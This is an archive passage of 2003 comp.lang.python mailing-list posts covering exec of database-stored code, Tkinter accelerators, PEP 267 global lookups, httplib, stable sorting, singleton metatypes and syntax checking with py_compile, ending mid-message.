On Thu, 2003-01-23 at 22:31, Jp Calderone wrote:
> On Thu, Jan 23, 2003 at 09:34:07PM -0500, Mongryong wrote:
> > Is it possible to write a Python 'c' module that executes Java code? Or,
> > is there a way to integrate Jython with Python without having to spawn a
> > new process?
> 
> 
>    Can you be more specific?  What needs do you have that Jython does not
> adequately address?
> 
>   Jp
> 
> -- 
> Lowery's Law:
>         If it jams -- force it.  If it breaks, it needed replacing anyway.
> -- 
>  up 39 days, 7:49, 2 users, load average: 0.58, 0.57, 0.54






From jwm-python at sentinelchicken.net  Thu Jan  2 22:55:43 2003
From: jwm-python at sentinelchicken.net (Jason Morgan)
Date: Thu, 2 Jan 2003 22:55:43 -0500
Subject: help with exec statement
Message-ID: <20030103035543.GA3536@sentinelchicken.net>

I am trying to pull dynamic code from database and execute it. I have
done this in the past with files; however, the same method is not working
and I keep getting syntax errors back.


I pass a string (coming out of a MySQL db) to this function:


def dyncode(code, name):
	import imp
	module = imp.new_module(name)
	exec code in module.__dict__
	return module


This is the contents of the string:


def generate():
        return "TEST"


And this is the code that executes generate():

dynModule = dyncode('string','test')
dynCode = dynModule.generate()


And, finally, this is my error:

File "<string>", line 2

    return "TEST"

                ^

SyntaxError: invalid syntax


Now, I've the same this with open files objects before, and that works
fine, but no matter what I try, I can't seem to get this to work.

Any help would be greatly appreciated.

Jason




From morden at shadows.net  Mon Jan 13 21:33:23 2003
From: morden at shadows.net (morden)
Date: Mon, 13 Jan 2003 18:33:23 -0800
Subject: Tk: How would I add an accelerator on a button/label in tkinter
In-Reply-To: <v26k6gcdm0tl4d@corp.supernews.com>
References: <v26k6gcdm0tl4d@corp.supernews.com>
Message-ID: <avvmn0$2l4$1@bob.news.rcn.net>

Derk Gwen wrote:

> # How could I make the button pressed when user presses Alt-P
> # on the keyboard? I saw accelerators on menus in Tk screenshots
> # found on the web but I haven't seen any on standalone buttons.
> # Is there any way to get those?
>
> All a menu accelerator is is a comment on the displayed menu. To actually
> implement the accelerator, you bind the key sequence to a command. 

Is there a platform independent way of doing this or I should
use X11 specific commands for this?

> This
> binding is independent of whether there is button or menu that does the
> same thing.

In gui8.py example accelerators are set with unerline=X command:

#!/usr/local/bin/python
from Tkinter import *                              # get widget classes
from Dialog  import Dialog

class Hello(Frame):                                # an extended frame
     def __init__(self, parent=None):               # attach to top-level?
         Frame.__init__(self, parent)               # do superclass init
         self.pack()
         self.createWidgets()                       # attach frames/widgets
         self.master.title("Buttons and Menus")     # set window-manager 
info
         self.master.iconname("tkpython")           # label when iconified

     def createWidgets(self):
         self.makeMenuBar()
         Label(self, text='Hello menu/toolbar world').pack(padx=30, pady=30)
         self.makeToolBar()

     def makeToolBar(self):
         toolbar = Frame(self, cursor='hand2', relief=SUNKEN, bd=2)
         toolbar.pack(side=BOTTOM, fill=X)
         Button(toolbar, text='Quit',  command=self.quit 
).pack(side=RIGHT)
         Button(toolbar, text='Hello', 
command=self.greeting).pack(side=LEFT)

     def makeMenuBar(self):
         self.menubar = Frame(self, relief=RAISED, bd=2)
         self.menubar.pack(side=TOP, fill=X)
         self.fileMenu()
         self.editMenu()

     def fileMenu(self):
         mbutton = Menubutton(self.menubar, text='File', underline=0)
         mbutton.pack(side=LEFT)
         menu = Menu(mbutton)
         menu.add_command(label='New...',  command=self.notdone)
         menu.add_command(label='Open...', command=self.notdone)
         menu.add_command(label='Quit',    command=self.quit, underline=0)
         mbutton['menu'] = menu
         return mbutton

     def editMenu(self):
         mbutton = Menubutton(self.menubar, text='Edit', underline=0)
         mbutton.pack(side=LEFT)
         menu = Menu(mbutton)
         menu.add_command(label='Cut',   command=self.notdone)
         menu.add_command(label='Paste', command=self.notdone)
         menu.add_separator({})

         submenu = Menu(menu)
         submenu.add_command(label='Spam', command=self.notdone)
         submenu.add_command(label='Eggs', command=self.greeting)
         menu.add_cascade(label='Stuff', menu=submenu)

         menu.add_command(label='Delete', command=self.greeting)
         menu.entryconfig(2, state=DISABLED)
         mbutton['menu'] = menu
         return mbutton

     def greeting(self):
         Dialog(self, title  = 'greeting',
                      text   = 'Howdy',
                      bitmap = '', default=0, strings=('hi',))

     def notdone(self):
         Dialog(self, title  = 'Not implemented',
                      text   = 'Not yet available',
                      bitmap = 'error', default=0, strings=('OK',))

     def quit(self):
         ans = Dialog(self, title   = 'Verify quit',
                            text    = 'Are you sure you want to quit?',
                            bitmap  = 'question',
                            default = 1,
                            strings = ('Yes', 'No'))
         if ans.num == 0: Frame.quit(self)

if __name__ == '__main__':  Hello().mainloop()    # if I'm run as a script

Alt-F works to get File submenu!

However when I tried to modify driver in Dialog.py (from Tkinter?):
if __name__ == '__main__':
     t = Button(None, {'text': 'Test',
                       'command': _test,
                       Pack: {}}, underline=1)
     q = Button(None, {'text': 'Quit',
                       'command': t.quit,
                       Pack: {}})
     t.mainloop()

Underline was drawn under 'e' in Test
but Alt-e did not activate the button. I've checked code in Dialog.py 
but there does not seem to be handling for Alt-? sequences marked by 
underlines. Where could I look further?


Thank you!




From tismer at tismer.com  Fri Jan 31 08:41:47 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 14:41:47 +0100
Subject: Implicit lists
In-Reply-To: <3E39F8D8.6040203@tismer.com>
References: <B43D149A9AB2D411971300B0D03D7E8B02ADC4CB@natasha.auslabs.avaya.com> <3E39F8D8.6040203@tismer.com>
Message-ID: <3E3A7D1B.8000004@tismer.com>

Christian Tismer wrote:
> Delaney, Timothy wrote:
> 
>> From: Christian Tismer [mailto:tismer at tismer.com]
>>
>> In my opinion, the crux of this all is the decision
>> that strings are iterable.
>> The number of use cases which I have seen so far is much
>> shorter than this thread.
>> Strings are much more often used as solid objects.
>> I'm pretty sure Guido would remove the sequence-ness
>> of strings in Python 3000, even to avoid this kind
>> of problems.

Sorry about that statement!
It doesn't make sense, since sequence
behavior is needed for string indexing
and slicing, and these are of course necessary.

The real difference between strings IMHO is
that strings are no containers for objects.
I think this is similar to array.array objects,
which also would be considered a single parameter.

What we really need seems to be a criterion if
something is a container or not.

ciao - chris





From steve at ferg.org  Sun Jan  5 18:47:06 2003
From: steve at ferg.org (Stephen Ferg)
Date: 5 Jan 2003 15:47:06 -0800
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
Message-ID: <b16e4ef7.0301051547.139ab3e@posting.google.com>

.Net is a framework; Python is a language.  So they aren't really
comparable.

>From your message, it looks like what you're looking for is a
comparison between Python and VB.net.  And specifically, you would
like to see the code for a Python program that does the same job as
the VB program that you posted.

Is that right?

Just-trying-to-get-clear-about-the-question-ly,
Steve Ferg



From ngps at netmemetic.com  Thu Jan  2 19:46:02 2003
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 3 Jan 2003 00:46:02 GMT
Subject: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <aJWcnRWzQtc7E4mjXTWcqA@comcast.com> <3e14a219$1_1@goliath.newsgroups.com> <mailman.1041541385.8483.python-list@python.org>
Message-ID: <av2mga$poe$2@mawar.singnet.com.sg>

According to Skip Montanaro  <skip at pobox.com>:
>     Brad> ... as I said in my previous post, I'm looking for test patterns
>     Brad> suiteable for database backed "objects".
> 
> The largest problem I see to testing SQL database store/retrieve is that to
> be confident in your test results you would have to actually execute SQL,

Do you not trust your SQL engine to DTRT?

If you want to test that your _application_ is working fine wrt database
access, use mock objects to simulate the db engine.


-- 
Ng Pheng Siong <ngps at netmemetic.com> * http://www.netmemetic.com




From cben at techunix.technion.ac.il  Mon Jan 13 11:25:56 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 13 Jan 2003 18:25:56 +0200
Subject: PEP 267 improvement idea (fwd)
Message-ID: <Pine.GSO.4.44_heb2.09.0301131818550.4790-100000@techunix.technion.ac.il>

Since the PEP's author never replied (and the PEP wasn't updated), I
thought I'd float the idea.  Perhaps somebody will also answer my
questions below on how the cross-module part was intended to work...

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>

---------- Forwarded message ----------
Date: Tue, 10 Dec 2002 23:42:07 +0200 (IST)
From: Beni Cherniavsky <cben at techunix.technion.ac.il>
To: Jeremy Hylton <jeremy at zope.com>
Subject: PEP 267 improvement idea

[Wasn't sure what lists to mail so mailed just you; forward as you feel
appropriate...]

The PEP currently says:

    The compiler currently collects the names of all global variables
    in a module.  These are names bound at the module level or bound
    in a class or function body that declares them to be global.

    The compiler would assign indices for each global name and add the
    names and indices of the globals to the module's code object.

My idea is to collect the global names *read from* instead of the global
names assigned to.  The benefit is that unlike the names that the module
will actually contain, these are known statically; names that are assigned
through __dict__ won't be missed. precisely the names for which
LOAD_GLOBAL_BY_NUM (or however you call it) will be emitted.  The
implementation of the name collecting might be a little more difficult -
I'm not familiar with the internals s oI can't tell...

    Each code object would then be bound irrevocably to the module it
    was defined in.  (Not sure if there are some subtle problems with
    this.)

A question (independent of my idea): how does this interact with
compile(), eval() and exec?  Could a code object compiled under one module
be executed under another globals dict?  Probably eval() and exec should
check that the native dlict of code object is tied to the one that's
passed in and enter a fall back VM mode where LOAD_GLOBAL_BY_NUM indexes
the active dlict by the name at co_native_dlict.name_list[num]...

    For attributes of imported modules, the module will store an
    indirection record.  Internally, the module will store a pointer
    to the defining module and the offset of the attribute in the
    defining module's global variable array.  The offset would be
    initialized the first time the name is looked up.

I don't quite understand how this part of the PEP is going to work anyway.
Assume I do in module foo:

import bar
for i in range(100):
    bar.baz(bar.quux)

If baz was never read in bar, my method will miss it (i.e. it will not be
numbered in bar's dlict); if it was, it will be numbered and reading baz
in bar will be translated as LOAD_GLOBAL_BY_NUM.  Also the fetching bar in
foo will surely become a LOAD_GLOBAL_BY_NUM.  However I don't understand
how can the attribute accesses .baz and .quux on it be optimized beyond a
dict lookup?  To go through any "indirection record" for the numbers of
'baz' and 'quux' in bar, one should first select the right indirection
record - which needs another dict lookup!  What do I miss?


Another idea: this PEP could also benefit from "aggresive builtins
caching" along the lines suggested in PEP 280.  Actually it seems to be an
optimisation that is orthogonal to all three globals access optimization
PEPs.

Maybe even the fallback to searching in the builtins can be eliminated
completely.  Like in PEP 280, the dlict will have a builtin flag for each
name.  Upon creation of any dlict, the builtins are copied to the dlict
before the module starts executing.  When builtins are
modified/added/removed, every dlict must be updated, except when shadowed
(builtin flag cleared).  When a global is deleted, if has an index in the
dlict and a builtin of same name exists, the builtin is copied into the
dlict.  Maybe it'll be needed to forcefully give indices to all builtin
names, even if not referenced as free variables in the module - this will
ensure that builtins can only be seen in numbered dlict entries; this
implies growing the numebred part of dlicts when new builtins are added.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>

What's lower level than machine code?  A spreadsheet: not only addresses
are numeric and hand-allocated but also all loops are hand-unrolled and
all calls hand-inlined... (and macros are unheard of, of course).




From vecernik at aon.at  Thu Jan 16 03:13:15 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Thu, 16 Jan 2003 09:13:15 +0100
Subject: Python as a base for an Open Source Foxpro
References: <5c07cc6.0301151206.455286ac@posting.google.com> <3e26633a$0$5626$79c14f64@nan-newsreader-01.noos.net>
Message-ID: <3E26699B.6050902@aon.at>

francois lepoutre schrieb:
> [...]
> Do you intend to develop a foxpro 2-like
> or a whole visual toolset "? la vfp" based on
> qt or wxpython/wxwindows as an ui-layer?

There is a similar project:

http://www.gnuenterprise.org/

Oliver




From wilk-spamout at flibuste.net  Tue Jan 28 13:25:00 2003
From: wilk-spamout at flibuste.net (William)
Date: 28 Jan 2003 19:25:00 +0100
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com>
Message-ID: <87wukpt9mr.fsf@flibuste.net>

ericmattes at yahoo.com (Eric Mattes) writes:

> Hi.
> 
> I'd like to know if anyone knows a way to write a python program that
> can be interfaced with through a web browser. I've been investigating
> some GUIs and although I've written a prototype GUI in Tkinter, it
> lacks personality. I'd like to make a nice GUI using HTML. Has anyone
> done anything like this before? If so, how? Would it involve
> embedding/using BaseHTTPServer? Ideally this would run on both Windows
> and Mac OS.

Yes, you just need to use HTTPServer and HTTPRequestHandler.
Have a look at the source of CGIHTTPServer.

> 
> Any ideas? Thanks!
> -E

-- 
William Dode - http://flibuste.net



From martin at v.loewis.de  Sat Jan  4 16:47:45 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 04 Jan 2003 22:47:45 +0100
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk> <m3vg16nf4s.fsf@mira.informatik.hu-berlin.de> <7GMPWjARjiF+EwvH@jessikat.fsnet.co.uk> <m3ptrd3ftw.fsf@mira.informatik.hu-berlin.de> <XPIUUKABFrF+Ew6C@jessikat.fsnet.co.uk>
Message-ID: <m3fzs81ta6.fsf@mira.informatik.hu-berlin.de>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> I can certainly see how such objects could be created as a loop and then
> cast off from their root, but I thought that gc would catch these. 

If everything works correctly, sure. If a DECREF is missing somewhere,
you get garbage that gc cannot detect (since it relies on the
refcounts being correct).

Regards,
Martin



From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Tue Jan 28 15:39:29 2003
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Tue, 28 Jan 2003 21:39:29 +0100
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <3e36d04e_2@news.vo.lu>
References: <3e36d04e_2@news.vo.lu>
Message-ID: <3e36e908$0$49114$e4fe514c@news.xs4all.nl>

Ask yourself: how much of your application consists of the GUI?
In my experience, tha "RAD" aspect of so-called RAD IDE's like the ones
you mention pretty much grinds to a halt once you:
- want a GUI that's different from the "straightforward" ones you can
   create using the "RAD" tool
- discover that the real complexity / dynamism / changing requirements
   is not in the GUI but in the logic.

I dare say that Python will prove the better. Even if you just use VI.

Irmen




From ritschratsch at gmx.de  Mon Jan  6 17:28:09 2003
From: ritschratsch at gmx.de (Phillip)
Date: Mon, 06 Jan 2003 23:28:09 +0100
Subject: httplib won't accept URL with parameters (???)
Message-ID: <avcvi1$5av$03$1@news.t-online.com>

I've got some serious httplib Problem. Here's the relevant code:

USER_AGENT = "Navigator" # We have to give something, don't we?

class ServerGet:

	def __init__(self, host):
		self.host = host
	def fetch(self, path):
		http = httplib.HTTP(self.host)

		#write header
		http.putrequest("GET", path)
		http.putheader("User-Agent", USER_AGENT)
		http.putheader("Host", self.host)
		http.putheader("Accept", "*/*")
		http.endheaders()

		# get response
		errcode, errmsg, headers = http.getreply()


		file = http.getfile()
		return file.read()

CompareServer = ServerGet("www.server.com")
ComparePage = 
CompareServer.fetch("/grab/database/get-page/link=ddb_benutzt_a/00b-97rt692-8ab6561?view=fixed-thing&field-stuff-type=used&thing-number=3897211920&field-status=open&size=25&rank=+parameter")
# long URL, I know....
print ComparePage

The Problem is that CompareServer.fetch won't return anything(!!) I 
presume it has something to do with the fact that the URL that is passed 
on has a tail of parameters trailing and that httplib won't accept this.
Does anyone know how I can get this to work? Is it a 'GET' problem?
Note that httplib work perfect with the usual URLs that only have 
slashes in them.
What's the big fuss? Why doesn't ServerGet return something with that 
URL? Any clue?
Thanks for all help in advance.

Phillip




From aleax at aleax.it  Wed Jan 29 09:00:23 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 14:00:23 GMT
Subject: sort by last then by first
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <13a533e8.0301281257.153b71fd@posting.google.com>
Message-ID: <X7RZ9.100045$0v.2892758@news1.tin.it>

Peter Abel wrote:
   ...
> If you change the order of sorting from
> low order key to high order key, I can't see
> any reason, why this shouldn't work stable.

the list.sort method is NOT guaranteed to be stable.
It generally LOOKS stable, for small enough lists,
up to Python 2.2 -- and it has been changed to one
that happens to be stable in 2.3 -- but it's never
a good idea to rely on such things, which may well
change from one version to another: list.sort at any
time will be the fastest sort Tim Peters can think
up, whether that's a stable one or not.

If you DO need a stable sort, see:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52234

> # 1) Sort by 3rd name
>>>> l.sort(lambda a,b:cmp(a[2],b[2]))
> # 2) Sort by 2nd name
>>>> l.sort(lambda a,b:cmp(a[1],b[1]))
> # 3) Sort by 1st name
>>>> l.sort()
   ...
> Though I can't say anything about speed.

I can: it will be lousy.  Besides, for this example, just
the "# 3)" call happens to have the same end result as
1 then 2 then 3, because sequences compare lexicographically.

The (printed) Python Cookbook's chapter on Sorting and
Searching has a lot of useful and interesting info on
such issues, particularly in Tim Peter's introduction.


Alex





From martin at v.loewis.de  Tue Jan  7 05:38:31 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 07 Jan 2003 11:38:31 +0100
Subject: newbie: unicode
References: <avdv6k$clp$1@news.online.de> <DPvS9.4982$LY2.288377@newsc.telia.net>
Message-ID: <m38yxxnt20.fsf@mira.informatik.hu-berlin.de>

"Fredrik Lundh" <fredrik at pythonware.com> writes:

> how are you executing that command?
> 
> there's no way that piece of code can give that error message,
> as long as ">>>" is an ordinary Python 2.x interpreter prompt, and
> you haven't been hacking around in the site configuration files...

You get that error in IDLE. Tk returns the source code as a Unicode
object, IDLE passes it to compile. This produces the UnicodeError.

Regards,
Martin




From max at alcyone.com  Thu Jan 16 22:11:28 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 16 Jan 2003 19:11:28 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <mailman.1042763431.24621.python-list@python.org> <3E276D7B.EBB63064@engcorp.com>
Message-ID: <3E277460.4B62A12D@alcyone.com>

Peter Hansen wrote:

> It's "Simonyi", and although I've found many web pages expressing
> a dislike of the notation, I haven't been able to find any references
> to Simonyi himself expressing any regret.  Can you point me to one?

You know, I've heard much the same myself, but haven't been able to come
up with any independent corroboration either.  Maybe it's one of those
myths that spreads faster than the truth.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ To perceive is to suffer.
\__/ Aristotle
    Python chess module / http://www.alcyone.com/pyos/chess/
 A chess game adjudicator in Python.



From martin at v.loewis.de  Thu Jan 23 03:05:16 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 23 Jan 2003 09:05:16 +0100
Subject: difference 2.3 versus 2.2
In-Reply-To: <2259b0e2.0301221425.4eccaab2@posting.google.com>
References: <2259b0e2.0301221425.4eccaab2@posting.google.com>
Message-ID: <b0o7nr$t1l$07$1@news.t-online.com>

Michele Simionato wrote:
> TypeError: __class__ assignment: only for heap types
> 
> Can somebody put some light on this TypeError ? 
> It looks like intentional.
> 
> I can change class of a normal object, why not the class of a class ?

You can't change the class of arbitrary normal objects:

 >>> (2).__class__=float
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
TypeError: __class__ assignment: 'float' object layout differs from 'int'

In 2.3, this rules was tightened that not only the layout must be 
compatible, but both old and new type must be "heap types", i.e. created 
through a class statement. Without this restriction, 2.3 would have 
allowed to write

(2).__class__ = bool

which would have cheated the constructor of the bool type.

In your example, the old type of the object is TypeType, which is not a 
heap type.

Regards,
Martin




From skip at pobox.com  Mon Jan 13 17:00:32 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 16:00:32 -0600
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:
        [ann]MinimalPython project)
In-Reply-To: <avvami$8ok$1@newsreader.mailgate.org>
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
        <mailman.1042428982.26240.python-list@python.org>
        <vAsU9.66$_d2.118955@news.uswest.net>
        <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net>
        <3E228E81.81B0FACD@alcyone.com>
        <mailman.1042468702.13459.python-list@python.org>
        <avvami$8ok$1@newsreader.mailgate.org>
Message-ID: <15907.14080.49323.465779@montanaro.dyndns.org>

    >> Not to mention which there is an open source project in the X space
    >> called Oroborus.  There is a Mac OS X version also called OroborOSX

    Mark> That has to be a candidate for the title of worst open-source
    Mark> project name in existence. And there's some stiff competition!

Perhaps, but the software itself works quite well.

S




From claird at lairds.com  Sat Jan 18 12:58:41 2003
From: claird at lairds.com (Cameron Laird)
Date: Sat, 18 Jan 2003 17:58:41 -0000
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com> <b0969p$43v$1@mailgate2.lexis-nexis.com>
Message-ID: <v2j5ehr453ncf9@corp.supernews.com>

In article <b0969p$43v$1 at mailgate2.lexis-nexis.com>,
rzed <Dick.Zantow at lexisnexis.com> wrote:
>
>"Wouter van Marle" <wouterm at spammers-unite-here.com> wrote in message
>news:b08ank$dak12 at imsp212.netvigator.com...
>> Hi All,
>>
>> Can anyone recommend me an introduction on object oriented
>programming in
>> general, and the trick in Python? Preferrably tutorial on the web or
>so.
			.
			.
			.
>I don't really have a recommendation for a specific tutorial on the
>Web. There are quite a few, though few (if any) that make use of
>Python as the illustrative language. Which is a real shame, because in
>my experience, learning Python was the key to learning Object-Oriented
>Programming. I can't remember the number of times that I decided it
			.
			.
			.
I'm surprised more people don't appear to be aware of *Thinking
in Python* <URL: http://www.mindview.net/Books/TIPython >.  Bruce
is top-notch, although more for his OOness than for his Python-
ianism.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From EDB30 at msn.com  Fri Jan 10 23:30:57 2003
From: EDB30 at msn.com (Tupoi)
Date: Fri, 10 Jan 2003 23:30:57 -0500
Subject: nyu cs department
References: <3e1f77d2$1_7@nopics.sjc> <3E1F7D93.F9B3A62D@engcorp.com>
Message-ID: <3e1f9df7$1_3@nopics.sjc>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1F7D93.F9B3A62D at engcorp.com...
> Tupoi wrote:
> >
> > anyone know how the nyu cs department stacks up against the giants(MIT)
is
> > it a lot worse or what?? also same question for cornell??
>
> They're both better...  as is Cornell.
>
> (Hint: this is a meaningless question without context...  it's probable
> any answers you get, even with some context, will be equally meaningless.)
>
> (And it's not even on topic for the Python newsgroup!)
>
> -Peter
what newsgroup would u suggest i post this on





From akjmicro at yahoo.com  Sun Jan 26 01:14:11 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sun, 26 Jan 2003 00:14:11 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com> <b0usjm$jsl$1@bob.news.rcn.net> <3E333ED7.ADEB8CDC@alcyone.com>
Message-ID: <b0vv0c$ka$1@bob.news.rcn.net>

In message <3E333ED7.ADEB8CDC at alcyone.com>, Erik Max Francis wrote:
> "Aaron K. Johnson" wrote:
> 
> > I agree. Plus, I'm not interested in working THAT hard to be that
> > anal-retentive about data which some would argue is still vague enough
> > to be
> > discounted.
> 
> Well, it depends on what you think the data mean.  What you're measuring
> is the number of unique posters per hierarchy over some period of time. 
> To first order, your figures are probably good for that (provided you're
> doing it right, etc.).  Other complicating factors such as spam will
> throw a wrench into the validity of the measurable.
> 
> But now taking that measurable (unique posters per hierarchy per unit
> time) and trying to apply it to something more general and far more
> indirect (like the popularity of a language) is a bi-ig step.  There is
> surely a _correlation_, but how strong that correlation is and what goes
> into it is extremely hard to judge.

My research indicates that the number of python users is precisely, to the last
decimal point, proportional to the usenet volume found by my script.

I'm right, and you're wrong for questioning me. So there (sticking tongue out).

-Aaron.






From sandskyfly at hotmail.com  Sat Jan 18 05:55:45 2003
From: sandskyfly at hotmail.com (Sandy Norton)
Date: 18 Jan 2003 02:55:45 -0800
Subject: python compiler (psyco)
References: <mailman.1042690025.16695.python-list@python.org> <20030118025248.11673.00000075@mb-ce.aol.com>
Message-ID: <b03e80d.0301180255.585f2651@posting.google.com>

CIouded 0ne) wrote:

> i couldnt get the compiler to be installed right i tryed running the python
> interpreter and typing 
> 
> 
> python setup.py install
> 
> 
> like it saids to do in the readme but that didnt work but i think it said to do
> it in a C compiler which i have but im not sure how u do that in a C compiler?
> any help?

What is your platform? If you're on win2k/NT/XP, I can send you the
latest CVS binaries.

Sandy



From mwh at python.net  Wed Jan 15 14:03:18 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 19:03:18 GMT
Subject: Seeking Minimal Python Project Name
References: <mailman.1042456912.31274.python-list@python.org> <3E22B6C9.FD288E15@alcyone.com>
Message-ID: <7h3iswqp756.fsf@pc150.maths.bris.ac.uk>

Erik Max Francis <max at alcyone.com> writes:

> Kow K wrote:
> 
> > Phyton          (simple mutation)
> 
> This one reminds me of Phaethon (FAY uh thon), umlaut over the _e_ if
> you want to be fancy.

I think it's called a diaeresis in this case.



Sorry,
M.

-- 
  On the other hand, the following areas are subject to boycott
  in reaction to the rampant impurity of design or execution, as
  determined after a period of study, in no particular order:
    ...                              http://www.naggum.no/profile.html



From abelikov72 at hotmail.com  Thu Jan  9 10:17:16 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 15:17:16 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <yyy1y3m4c6d.fsf@adams.patriot.net>
Message-ID: <dq4r1v0sqlruidub0qlu9ma06hpfo38oj6@4ax.com>

On 09 Jan 2003 09:42:34 -0500, Nick Vargish <nav at adams.patriot.net>
wrote:

>Afanasiy <abelikov72 at hotmail.com> writes:
>
>> You don't know what I am doing. My design is perfect.
>
>c.f. 'hubris'.

And the same to those who would say it is wrong.
They can say it is wrong, I can say it is right.



From imbosol at vt.edu  Wed Jan 15 02:52:57 2003
From: imbosol at vt.edu (Carl Banks)
Date: Wed, 15 Jan 2003 07:52:57 GMT
Subject: Python23: cannot inherit from bool?
References: <mailman.1042597226.22940.python-list@python.org> <8g5V9.30384$%V.15227@nwrddc02.gnilink.net> <m33cnuhq9r.fsf@mira.informatik.hu-berlin.de>
Message-ID: <tr8V9.56826$uL2.20750@nwrddc01.gnilink.net>

Martin v. L?wis wrote:
> Carl Banks <imbosol at vt.edu> writes:
> 
>> This reminds me of a question I've been pondering, in case anyone
>> knows: Is it the plan that built-in singleton objects (None, Ellipsis,
>> NotImplemented, ?) will eventually get a new metatype?  
> 
> To my knowledge, no.
> 
>> Although it seems like there would be small benefit for built-in
>> objects (the only tangible thing I can think of is you could ask a
>> singleton type for its object), it could be used for Python types,
>> too.
> 
> What specific functionality would you expect to see in this metatype?
> 
> For a C-implemented type, all you have to do is to leave out the
> tp_new slot, then creating new instances by calling the type will
> cause TypeErrors.
> 
> For a Python-implemented type (i.e. a newstyle class), not being able
> to call the class to create an instance is not helpful: how would you
> then create the single instance?

Simple.  The singleton metatype has an additional slot which points to
the instance.  The instance is created when the class is created, and
accessed through an attribute, like so:


    class NoneType:
        __metaclass__ = SingletonType

    None = NoneType.object



-- 
CARL BANKS



From P at draigBrady.com  Mon Jan 13 11:45:31 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Mon, 13 Jan 2003 16:45:31 +0000
Subject: slow loop?
In-Reply-To: <1964c4d7.0301130842.2f693958@posting.google.com>
References: <1964c4d7.0301130842.2f693958@posting.google.com>
Message-ID: <3E22ED2B.40100@draigBrady.com>

Brian Kranson wrote:
> Is there a way I can make this small script any faster?  The file it
> reads in used to be only about a 100 lines and now it is well over
> 2000.  It takes about 14 seconds to run it on my PentiumII.  Thanks in
> advance - Bk
> 
> import time
> startTime=time.time()
> myList=[]
> finalList=[]
> myString=''
> file=open('Export.txt','r')
> lines=file.readlines()
> for line in lines:
>         for character in line:
>                 if character == '"':
>                         None
>                 elif character == ',' or character == '\n':
>                         myList.append(myString)
>                         myString=''
>                 else:
>                         myString += character
>         finalList.append(myList)
>         myList=[]
> endTime=time.time()
> print endTime-startTime

file=open('Export.txt','r')
for line in file.readlines():
     line = line.strip()
     finalList.append(line.split(','))

P?draig.




From trentm at ActiveState.com  Fri Jan 31 23:58:41 2003
From: trentm at ActiveState.com (Trent Mick)
Date: Fri, 31 Jan 2003 20:58:41 -0800
Subject: Syntax checking python...
In-Reply-To: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>; from abelikov72@hotmail.com on Fri, Jan 31, 2003 at 10:05:48PM +0000
References: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
Message-ID: <20030131205841.A13476@ActiveState.com>

[Afanasiy wrote]
> 
> In other languages, I can receive syntax errors without the script having
> to execute. Please do not let this hurt your feelings. I merely bring up
> the other languages as an example of what I mean and what I am used to.
> 
> In Python, I will not receive a syntax error until the interpreter runs
> right into it. This is not very efficient for me during my development.
> 
> Is there a way I can be notified of my typos without having to run the
> interpreter up to those mistakes? That is my question. No smartasses.

Python's py_compile module can do what you are asking.

    >>> import py_compile
    >>> py_compile.compile("t.py")
      File "t.py", line 1
          print "asdf" +
                        ^
    SyntaxError: invalid syntax

There is a compileall.py script that takes a directory and compiles all
the Python files in it. This will report any syntax errors.

In neither of these cases are your Python scripts executed.  What you
probably want to do is write a small Python script that takes a
filename (your script) and compiles it with the py_compile module.
You will get a SyntaxError traceback (like above) for the first syntax
error in your module.

If you want other warnings you should look at PyChecker, as others have
suggested here. The current PyChecker *does* execute the top-level of
your code so it is not ideal. A version is in the works to not have to
execute code, but I don't know when that is due.  Note that this is
often not considered a problem because it is usually considered
